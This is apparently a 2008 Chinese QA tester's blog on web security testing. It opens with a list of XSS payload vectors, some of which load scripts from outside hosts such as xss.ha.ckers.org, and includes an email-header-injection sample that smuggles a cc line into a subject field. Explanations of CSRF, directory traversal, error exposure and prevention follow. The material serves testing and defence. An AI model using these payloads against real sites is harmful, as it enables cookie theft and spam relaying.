    <BODY BACKGROUND="javascrīpt:alert('XSS')">
    <BODY ōNLOAD=alert('XSS')>
    <IMG DYNSRC="javascrīpt:alert('XSS')">
    <IMG LOWSRC="javascrīpt:alert('XSS')">
    <BGSOUND SRC="javascrīpt:alert('XSS');">
    <br size="&{alert('XSS')}">
    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
    <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
    <IMG SRC='vbscrīpt:msgbox("XSS")'>
    <IMG SRC="mocha:[code]">
    <IMG SRC="livescrīpt:[code]">
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
    <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME>
    <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
    <TABLE BACKGROUND="javascrīpt:alert('XSS')">
    <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
    <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
    <DIV STYLE="width: expression(alert('XSS'));">
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
    <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE>
    <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>
    <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
    <BASE HREF="javascrīpt:alert('XSS');//">
    getURL("javascrīpt:alert('XSS')")
    a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
    <XML SRC="javascrīpt:alert('XSS');">
    "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
    <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
    <IMG SRC="javascrīpt:alert('XSS')"
    <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
    <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
    <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
     


    • 最后,当用户浏览时便会弹出一个警告框,内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
    • 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚本,当用户浏览此帖时,cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。
      (2)如何预防XSS漏洞?
        从应用程序的角度来讲,要进行以下几项预防:
    • Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.
    • 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.
        从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:
    • 在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证,着重验证是否对HTML或脚本代码进行了转义。
    • 执行测试过程中也应对上述项进行检查。
     
      3.CSRF:(跨站点伪造请求)
        CSRF尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。
        XSS是利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
        XSS也好,CSRF也好,它的目的在于窃取用户的信息,如SESSION 和 COOKIES(关于SESSION 和COOKIES的介绍请参见我的另一篇BLOG:http://www.51testing.com/?49689/action_viewspace_itemid_74885.html),
       (1)如何进行CSRF测试?
        关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。
       (2)如何预防CSRF漏洞?
      4.Email Header Injection(邮件标头注入)  
        Email Header Injection
    :如果表单用于发送email,表单中可能包括“subject”输入项(邮件标题),我们要验证subject中应能escape掉“\n”标识。
    • <!--[if !supportLists]--> <!--[endif]-->因为“\n”是新行,如果在subject中输入“hello\ncc:spamvictim@example.com”,可能会形成以下
    Subject: hello
    cc: spamvictim@example.com
    • <!--[if !supportLists]--> <!--[endif]-->如果允许用户使用这样的subject,那他可能会给利用这个缺陷通过我们的平台给其它用户发送垃圾邮件。
      5.Directory Traversal(目录遍历)
       (1)如何进行目录遍历测试?
    • 目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
    • 测试方法:URL中输入一定数量的“../”和“./”,验证系统是否ESCAPE掉了这些目录跳转符。
       (2)如何预防目录遍历?
    • 限制Web应用在服务器上的运行
    • 进行严格的输入验证,控制用户输入非法路径
      6.exposed error messages(错误信息)
      (1)如何进行测试?
    • 首先找到一些错误页面,比如404,或500页面。
    • 验证在调试未开通过的情况下,是否给出了友好的错误提示信息比如“你访问的页面不存在”等,而并非曝露一些程序代码。
      (2)如何预防?
    • 测试人员在进行需求检查时,应该对出错信息进行详细查,比如是否给出了出错信息,是否给出了正确的出错信息。


      


  • 安全性测试系列之一-网站安全性问题

    2008-02-14 18:13:06

       虽然我的工作经验有四年,但是算是测试新手,在测试行业混也只有半年的时间,现在在一家外包公司做QA,该公司的业务都是基于B/S结构的,我的测试工作也主要是WEB测试.

       其实我知道的关于WEB测试的东西也是纯理论性的,除了要进行功能测试外,还要进行界面测试,兼容性测试,性能测试,安全性测试.

       在项目初期我已经把安全性测试纳入到测试的计划中了,但是苦于不知道如何下手,一直也没有开展这项测试,直到有一天,我们的公司的一位程序员偶然从GOOGLE中搜索到了一个网站,这个网站报告了我们现有程序中存在着XSS漏洞.我们公司的人基本上都不了解安全性测试,出了这个事件后,安全性测试也被正式提到了测试的工作日程中.

       我通过查找资料,总结了一下安全性测试的内容,内容并不完整,有待继续补充.

       我们将会从三个方面来讨论安全性测试,首先是安全性问题都包括哪些?其次是如何进行安全性测试?最后是安全性测试工具.

       今天主要总结安全性问题都包括哪些.

       1.DJANGO的一篇文档中介绍了关于安全性问题包括的内容:http://www.djangobook.com/en/1.0/chapter19

             这篇文章的主题思想是:Never — under any circumstances — trust data from the browser.(从不要相信来自浏览器端的数据,因为你永远不可能知道在浏览器进行数据操作是你的用户还是正在寻找攻击漏洞的黑客)

         2.安全性问题包括的内容:

    • SQL Injection:(SQL注入)

    SQL injection is a common exploit in which an attacker alters Web page parameters (such as GET/POST data or URLs) to insert arbitrary SQL snippets that a naive Web application executes in its database directly.

    SQL注入是最常见的攻击方式,它的主要原理是:攻击者通过改变WEB页的参数(如GET/POST数据或是URLS)直接将SQL片断提交到服务器,并在服务器端执行的过程.

    • Cross-Site scrīpting (XSS):(跨站点脚本攻击)

    Cross-site scrīpting (XSS), is found in Web applications that fail to escape user-submitted content properly before rendering it into HTML. This allows an attacker to insert arbitrary HTML into your Web page, usually in the form of <scrīpt> tags.

    Attackers often use XSS attacks to steal cookie and session information, or to trick users into giving private information to the wrong person (aka phishing).

    XSS定义:是由于WEB程序没有对用户提交的HTML内容进行适当的转译,这样攻击者就可能在你的WEB页中插入一些HTML语句,这些语句通过以<SCRITP>TAG的形式出现.

    攻击者通常使用XSS攻击来窃取COOKIES 和 SESSION信息,或是欺骗用户将隐私信息暴露给错误对象(又称为钓鱼)

    • Cross-Site Request Forgery:(指跨站点请求伪造)

    Cross-site request forgery (CSRF) happens when a malicious Web site tricks users into unknowingly loading a URL from a site at which they’re already authenticated — hence taking advantage of their authenticated status.


    CSRF:通过在WEB页或在给用户发邮件中插入恶意代码(通常是链接或是脚本),比如发送一个带有银行取款链接的图片或脚本(通常是HTML或JAVAscrīpt),当用户访问这个图片时,此时页面加载图片过程会隐密地链接到一个远程页面,这个页面会自动向目标站点发起请求,如果这个目标站点的仍保留这个用户的COOKIE信息,并且这个COOKIER未过期,那么攻击者就可以在用户不知情的情况以用户的身份登录银行或执行取款操作.

    CSRF的特性就是利用网站对用户标识的信任,欺骗用户的浏览器发送HTTP请求给目标站点

    • Session Forging/Hijacking:(Session 篡改)


    • Email Header Injection:(邮件标题注入)

    SQL injection’s less well-known sibling,email header injection, hijacks Web forms that send email. An attacker can use this technique to send spam via your mail server. Any form that constructs email headers from Web form data is vulnerable to this kind of attack.


    email header injection 与 SQL注入的原理类似,它的原理是:通过在EMAIL的SUBJECT中输入一些特殊语句如"\n",攻者者可以利用这个缺陷通过你的邮件服务器发送垃圾邮件.

    • Directory Traversal:(目录遍历)

    Directory traversal is another injection-style attack, wherein a malicious user tricks filesystem code into reading and/or writing files that the Web server shouldn’t have access to.


    目录遍历是另一种注入类型的攻击,攻击者欺骗文件系统读或写服务器不允许操作的文件.

    • Exposed Error Messages:(曝露错误信息)

    During development, being able to see tracebacks and errors live in your browser is extremely useful.However, if these errors get displayed once the site goes live, they can reveal aspects of your code or configuration that could aid an attacker.


    开发过程中,如果可以看到错误或历史记录对FIX问题是非常有用的.但是如果这些错误信息被攻击者所获取,那么攻击者就可以通过错误信息而了解到应用程序代码或是数据库或是配置等方面的内容,并为期其行攻击提供有力的帮助.

      



704/4<1234
Open Toolbar